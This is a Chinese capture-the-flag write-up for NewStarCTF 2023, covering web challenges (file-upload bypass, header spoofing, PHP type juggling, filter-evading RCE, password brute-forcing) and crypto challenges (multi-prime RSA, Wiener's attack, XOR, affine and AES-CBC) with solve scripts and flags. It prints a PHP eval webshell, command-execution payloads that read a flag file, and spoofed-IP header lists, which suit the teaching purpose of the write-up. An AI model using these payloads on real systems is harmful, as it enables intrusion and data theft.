文章目录
2023NewStarCTF
Web
泄露的秘密
www.zip
Begin of Upload
打开源码 找到限制是在前端
我们抓包 上传正常后缀的文件 比如jpg结尾
但是这样传上去服务器是无法解析的
所以我们进行抓包 然后在bp中修改后缀名
将我们上传的后缀jpg在请求包中改为php 服务器就可以解析我们的语句了
一句话木马:
<?php eval($_POST['a']);?>
然后进入到我们上传的这个文件中就可以rce啦
http://13878733-90ba-4e0c-9a0a-4ce861aaa1bf.node4.buuoj.cn:81/upload/aaa_b.php?b=system(%27cat%20/fllll4g%27);
ErrorFlask
python中flask启的框架
输入非法字符,报错
在报错中找到源代码
Begin of HTTP
考点:对请求头的考察
POST /?ctf=ctfer HTTP/1.1
Host: node4.buuoj.cn:27705
//设置发起请求的浏览器
User-Agent: NewStarCTF2023
//设置只有本地用户才能访问 知识扩展 这些都可以用
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
//设置发起访问请求的网址
Referer: newstarctf.com
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://node4.buuoj.cn:27705
Connection: close
Cookie: track_uuid=b0378d4d-bdbe-4b92-d3d9-4e70dceeaff3; power=ctfer
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
secret=n3wst4rCTF2023g00000d
Begin of PHP
源码开套:
<?php
error_reporting(0);highlight_file(__FILE__);if(isset($_GET['key1'])&&isset($_GET['key2'])){echo"=Level 1=<br>";if($_GET['key1']!==$_GET['key2']&&md5($_GET['key1'])==md5($_GET['key2'])){$flag1=True;}else{die("nope,this is level 1");}}if($flag1){echo"=Level 2=<br>";if(isset($_POST['key3'])){if(md5($_POST['key3'])===sha1($_POST['key3'])){$flag2=True;}}else{die("nope,this is level 2");}}if($flag2){echo"=Level 3=<br>";if(isset($_GET['key4'])){if(strcmp($_GET['key4'],file_get_contents("/flag"))==0){$flag3=True;}else{die("nope,this is level 3");}}}if($flag3){echo"=Level 4=<br>";if(isset($_GET['key5'])){if(!is_numeric($_GET['key5'])&&$_GET['key5']>2023){$flag4=True;}else{die("nope,this is level 4");}}}if($flag4){echo"=Level 5=<br>";extract($_POST);foreach($_POSTas$var){if(preg_match("/[a-zA-Z0-9]/",$var)){die("nope,this is level 5");}}if($flag5){echofile_get_contents("/flag");}else{die("nope,this is level 5");}}
首先进入第一关:
利用数组特性绕过
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2']))
因为md5不能对数组进行加密,所以设置数据类型均为数组的时候就会全部返回null,使得两值相等
payload:
?key1[]=11&key2[]=22
第二关:
同理,数组绕过,返回值均为null 相等
第三关:
strcmp漏洞 如果输入错误数据类型无法比较报错,执行的结果也是返回0
所以使用数组报错
第四关:
is_numeric
字符串绕过
2024a
同样使用数组绕过对数字的验证
第五关:
高度重视两个函数:
extract
: 给设定的变量赋值
foreach
: 遍历键值对中的值
我们传的值只要设置为符号就可以绕过foreach中的匹配,但是当我们成功绕过我们发现,啊咋多了个flag5
这也没有之前的设置啊
然后查询了一些extract函数
发现其赋值的特性,所以在post中对flag5给个初始值就行,默认为true。
R!C!E
首先是md5的绕过 这个密码比较特殊 网上一搜就有了
114514
这里一般使用python来爆破(当时偷懒了直接网上搜的
import hashlib
defcrack(pre):for i inrange(0,999999):if(hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6]==str(pre):print(i)break
crack("c4d038")
然后就可以进行rce了
过滤了好多:
if(!preg_match("/flag|system|pass|cat|ls/i",$code))
使用exec代替system
使用tac代替cat
使用通配符* 代替flag
payload:
password=114514&e[v.a.l=echo(exec('tac /f*'));
在传参的时候 变量名会将不合法的字符转化为下划线 只会转换一次 其中不合法字符包括
[
和
.
所以让第一个转换为下划线 后面的点号就不会被改变
避大坑:一定要加一个echo!!!!一开始忘记让它回显了555 也可以
var_dump()
法二:
var_dump(file_get_contents($_POST['_']))$_=
Login
有注册界面 先尝试一下普通用户进去的样子 否则注册界面写出来就没有什么意义了
在交互模式中退出方法
ctrl+c
或者
ctrl+d
在bin目录中一般存放的是可执行命令
退出之后我们思考为什么一进来就是在chat程序中 肯定是前面有人输入其他命令了嘛
我们点击向上键 可以看到内容
但是个人感觉没什么大用哈哈
还是得爆破密码
在bp中跑一下 admin的密码是000000
Crypto
babyrsa:
考点:多素数rsa
首先yafu分解得到10个素数
import gmpy2
from Crypto.Util.number import*
e =65537
n =17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c =14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595
P =[2217990919,4278428893,2804303069,3654864131,2923072267,2338725373,2706073949,2970591037,2370292207,2463878387,3939901243,2794985117,3207148519,4093178561,3831680819]
phi =1for i inrange(len(P)):
phi *= P[i]-1
d = gmpy2.invert(e,phi)
m =pow(c,d,n)print(long_to_bytes(m))#b'flag{us4_s1ge_t0_cal_phI}'
Vigenere
还是推荐:https://www.guballa.de/vigenere-solver
然后对于题目中的描述 我搜了一些是法语:不可破译的语言
那么我们在破解的时候选择French
此外想补充一下可以根据开头密文和部分已知明文flag进行匹配推测密钥
small_d
考点:低解密指数攻击
源码:
from secret import flag
from Crypto.Util.number import*
p = getPrime(1024)
q = getPrime(1024)
d = getPrime(32)
e = inverse(d,(p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)
c =pow(m,e,n)print(c)print(e)print(n)# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
下面是直接调用的板子:
import gmpy2
from Crypto.Util.number import*# numerator(n):分子, denominator(d):分母deft_cf(n, d):# 将分数 x/y 转为连分数的形式
res =[]while d:
res.append(n // d)
n, d = d, n % d
return res
defcf(sub_res):# 得到渐进分数的分母和分子
n, d =1,0for i in sub_res[::-1]:# 从后面往前循环
d, n = n, i * n + d
return d, n
deflist_fraction(x, y):# 列出每个渐进分数
res = t_cf(x, y)
res =list(map(cf,(res[0:i]for i inrange(1,len(res)))))# 将连分数的结果逐一截取以求渐进分数return res
defget_pq(a, b, c):# 由p+q和pq的值通过维达定理来求解p和q(解二元一次方程)
par = gmpy2.isqrt(b * b -4* a * c)# 由上述可得,开根号一定是整数,因为有解
x1, x2 =(-b + par)//(2* a),(-b - par)//(2* a)return x1, x2
defwienerAttack(e, n):print(2)for(d, k)in list_fraction(e, n):# 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数if k ==0:# 可能会出现连分数的第一个为0的情况,排除continueif(e * d -1)% k !=0:# ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)continue
phi =(e * d -1)// k # 这个结果就是 φ(n)
px, qy = get_pq(1, n - phi +1, n)if px * qy == n:
p, q =abs(int(px)),abs(int(qy))# 可能会得到两个负数,负负得正未尝不会出现
d = gmpy2.invert(e,(p -1)*(q -1))# 求ed=1 (mod φ(n))的结果,也就是e关于 φ(n)的乘法逆元dreturn d
print("求解d失败")print(1)
e =8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n =19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
d = wienerAttack(e, n)print(d)
c =6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
m =pow(c,d,n)print(long_to_bytes(m))
Wiener攻击学习:
需要学习连分数相关知识 Michael J.Wiener的论文
参考:https://cryptohack.gitbook.io/cryptobook/untitled/low-private-component-attacks/wieners-attack
使用wiener攻击的前提条件
- d相比于n足够小 满足范围 d < 1 3 n 4 \frac{1}{3}\sqrt[4]{n} 314n
- q < p < 2q
- e < phi(n)
获得d的原理:
ed = 1 mod phi(n)
即有 ed = k phi(n) + 1
又因为phi(n) = (p-1)(q-1) = pq - (p+q) + 1 约等于 pq = n
此外在ed式子中1所占值太小 可以忽略
即有
ed = kn
=>
e
n
=
k
d
\frac{e}{n}=\frac{k}{d}
ne=dk
因为e和n已知 利用连分数的展开方法去尝试爆破d的值
那么连分数又是什么 又该如何获得连分数呢?
🌰
首先我们对==
43
19
\frac{43}{19}
1943==进行连分数展开
43 19 \frac{43}{19} 1943 = 2 + 5 19 \frac{5}{19} 195
需要把分数部分的分子转化为1
43 19 \frac{43}{19} 1943 = 2 + 1 19 5 \frac{1}{\frac{19}{5}} 5191 = 2 + 1 3 + 4 5 \frac{1}{3+\frac{4}{5}} 3+541 = 2 + 1 3 + 1 5 4 \frac{1}{3+\frac{1}{\frac{5}{4}}} 3+4511 = 2 + 1 3 + 1 1 + 1 4 \frac{1}{3+\frac{1}{1+\frac{1}{4}}} 3+1+4111
如果对
1
4
\frac{1}{4}
41 再进行转化的话余数为0 所以展开到此结束
那么如此繁琐的算法 我们解题的时候肯定不能手算吧 所以一种方法是上面我们自己写代码实现这种算法 基于欧几里得思想 遇到余数为0停止
另一种稍微简单的方法是直接使用sagemath 因为这里面的函数自带解连分数的功能
🌰
#sage
e=43
n=19
cf = continued_fraction(e/n)print(cf)
convergents = cf.convergents()print(convergents)#[2; 3, 1, 4]#[2, 7/3, 9/4, 43/19]
转换为分数的形式 每一次都是抛弃套娃的最后一次计算 比如第二次就是为 2 +
1
3
\frac{1}{3}
31 =
7
3
\frac{7}{3}
37
同理带入到我们要解决的问题中 我们想要获得的k和d 就存在这其中一次的结果中
所以对每组进行尝试即可
简易版exp:
#sage
e =8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n =19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
cf = continued_fraction(e/n)# print(cf)
convergents = cf.convergents()# print(convergents)
reald =1for kd in convergents:
k = kd.numerator()#获取分子
d = kd.denominator()#获取分母ifpow(2,e*d,n)==2:#判断我们的d能否在这个加密体系中对2加密之后成功还原为2 还原成功则证明解密正确
reald = d
print(d)break
c =6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248from Crypto.Util.number import*print(long_to_bytes(int(pow(c,d,n))))#2357048593#b'flag{learn_some_continued_fraction_technique#dc16885c}'
Baby_xor
考点:异或
源码:
from secret import*
ciphertext =[]for f in flag:
ciphertext.append(f ^ key)print(bytes(ciphertext).hex())# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2
真服 一个简单的异或把我难住了 去cryptohack怒刷xor题目
flag ="e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
flag =bytes.fromhex(flag)from pwn import xor
#相当于对key进行暴力猜测for i inrange(256):ifb'f'orb'F'in xor(flag,i):print(xor(flag,i))#flag{x0r_15_symm3try_and_e4zy!!!!!!}
Affine
考点:仿射密码
源码:
from flag import flag, key
modulus =256
ciphertext =[]for f in flag:
ciphertext.append((key[0]*f + key[1])% modulus)print(bytes(ciphertext).hex())# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064
很明显在加密程序中存在两个位置量 key[0] 和 key[1] 作为密钥a和b
其实仿射密码的本质还是解方程得到a和b
关于仿射密码参考:https://blog.csdn.net/jayq1/article/details/130474510?spm=1001.2014.3001.5501
利用部分已知明文
flag{*****}
获得a和b的值
注意避坑!!!!
使用f和l这两个已知字符无法合适求解 一定要灵活 整体往后取一位用l和a求解就好了
完整exp:
import gmpy2
#key = '****CENSORED***************' #密钥 censored 被遮盖
flag ='flag{*******CENSORED********}'#部分明文
data ="dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"#密文待解密
encrypted =bytes.fromhex(data)# encrypted = data# print(encrypted)
plaindelta =ord(flag[2])-ord(flag[1])print(plaindelta)
cipherdalte = encrypted[2]- encrypted[1]print(cipherdalte)
modulus =256
a = gmpy2.invert(plaindelta, modulus)* cipherdalte % modulus
b =(encrypted[1]- a *ord(flag[1]))% modulus
print(a,b)# a = 17# b = 23
a_inv = gmpy2.invert(a, modulus)
result =""for c in encrypted:
result +=chr((c - b)* a_inv % modulus)print(result)#flag{4ff1ne_c1pher_i5_very_3azy}#------------------算法解释--------------------------# #对密文进行操作# # range(0,len(cip),2):生成一个从 0 开始、以 2 为步长、不超过 data 长度的整数序列。这个序列中的每一个整数 i,都是 data 中两个字符的起始位置。# # data[i:i+2]:对于这个序列中的每一个整数 i,取 data 中从 i 开始、长度为 2 的子串。这样就可以把 data 中的所有字符两两分组。# # int(data[i:i+2],16):对于这个子串,使用 int 函数将其转换为一个 16 进制的整数。# # for i in range(0,len(data),2):将上述操作应用到 range 函数生成的整数序列中的每一个整数 i,得到一个整数列表。# # 最终的结果就是 encrypted 列表,它包含了 data 中所有字符两两分组后转换成的 16 进制整数。例如,如果 data 是字符串 "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9",则 encrypted 是一个整数列表,它的值为 [128, 94, 237, 128, 203, 188, 185, 76, 195, 100, 19, 39, 87, 128, 236, 148, 168, 87, 223, 236, 141, 168, 202, 148, 168, 195, 19, 168, 204, 249]。# #去计算密钥key# print(encrypted[0])# plaindelta = (ord(flag[1]) - ord(flag[0])) #提取部分已知明文# cipherdalte = (encrypted[1] - encrypted[0]) #提取已知密文# print(cipherdalte)# #原来的加密公式# #y1 = (a * x1 + b) (mod 256)# #y2 = (a * x2 + b) (mod 256)# #故有# #y1 - y2 = a*(x1-x2)(mod 256) # #想要求a # #即为# #plaindelta = x1-x2# #cipherdalta = y1-y2# #cipherdalte = a * plaindelta(mod 256) !!取模只是让最后的结果在0~251范围之间!!# #计算公式中的a,引入初等数论里面的内容# #ci = a * p % 256# #ci / p = a % 256# #在初等数论中 除相当于乘逆元# #故 ci * invert(p,256)= a (% 256) # #所以%251只是一个对于整体结果的一个限制,在公式推到的时候可以忽略存在# a = gmpy2.invert(plaindelta, 257) * cipherdalte %256 #数据全部放在0~251之间# #通过a计算b# b = (encrypted[0] - a * ord(flag[0])) %256 #数据全部放在0~251之间# a_inv = gmpy2.invert(a, 257)# result = ""# for c in encrypted:# result += chr(((c-b) * a_inv) % 256)# print(result)
BabyEncoding
part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ= flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T`
前两部分赛博厨子直接出
最后一个部分采用Unencode编码 去使用bugku的工具https://ctf.bugku.com/tools
babyaes
考点:异或 aes中cbc模式
emm怎么讲嘞 虽然这个题叫做aes 但是真实的考点还是想考查大家的异或能力
附上源码:
from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import*defpad(data):return data +b"".join([b'\x00'for _ inrange(0,16-len(data))])defmain():
flag_ = pad(flag)
key = os.urandom(16)*2#32字节
iv = os.urandom(16)#16字节print(bytes_to_long(key)^ bytes_to_long(iv)^1)
aes = AES.new(key, AES.MODE_CBC, iv)
enc_flag = aes.encrypt(flag_)print(enc_flag)if __name__ =="__main__":
main()# 3657491768215750635844958060963805125333761387746954618540958489914964573229# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
先带大家分析一下这个题目啊,首先是因为要进行cbc的块加密模式嘛,所以把flag进行pad操作,如果不满足16位就在后面填充
\x00
然后获得key和iv:
key
: 随机生成加密的16个字节 重复2次 拼接
iv
: 随机生成加密的16个字节
然后利用到异或的知识对泄露的内容进行利用:
首先将泄露的数据与1异或 就会得到key和iv的异或值
然后我们在编码体系中看一下
bytes_to_long
和
long_to_bytes
函数的实现方法
都是针对单一字节独自操作的 就是对整体没有影响
然后我们写一个小demo测试一下当两个不等位的数据进行异或的对齐方式:
test1 =0b1110011
test2 =0b11# print(bin(test1 ^ test2)) #0b1110000 #结果显示是低位对齐进行异或
所以key和iv进行异或 因为key是iv的两倍 所以对于key的高16位字节没有影响
所以我们就可以直接得到key的组成:
key = long_to_bytes(data)[:16]*2
然后将
key ^ (key ^ iv) = iv
完整exp:
import os
from Crypto.Util.number import*from Crypto.Cipher import AES
data =3657491768215750635844958060963805125333761387746954618540958489914964573229
data = data ^1
key = long_to_bytes(data)[:16]*2
iv = bytes_to_long(key)^ data
iv = long_to_bytes(iv)
aes = AES.new(key, AES.MODE_CBC, iv)
c =b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
dec_flag = aes.decrypt(c)print(len(key),len(iv))print("flag=",dec_flag)#flag= b'firsT_cry_Aes\x00\x00\x00'
我是哈皮,祝您每天嗨皮!我们下期再见~
版权归原作者 哈皮Superman 所有, 如有侵权,请联系我们删除。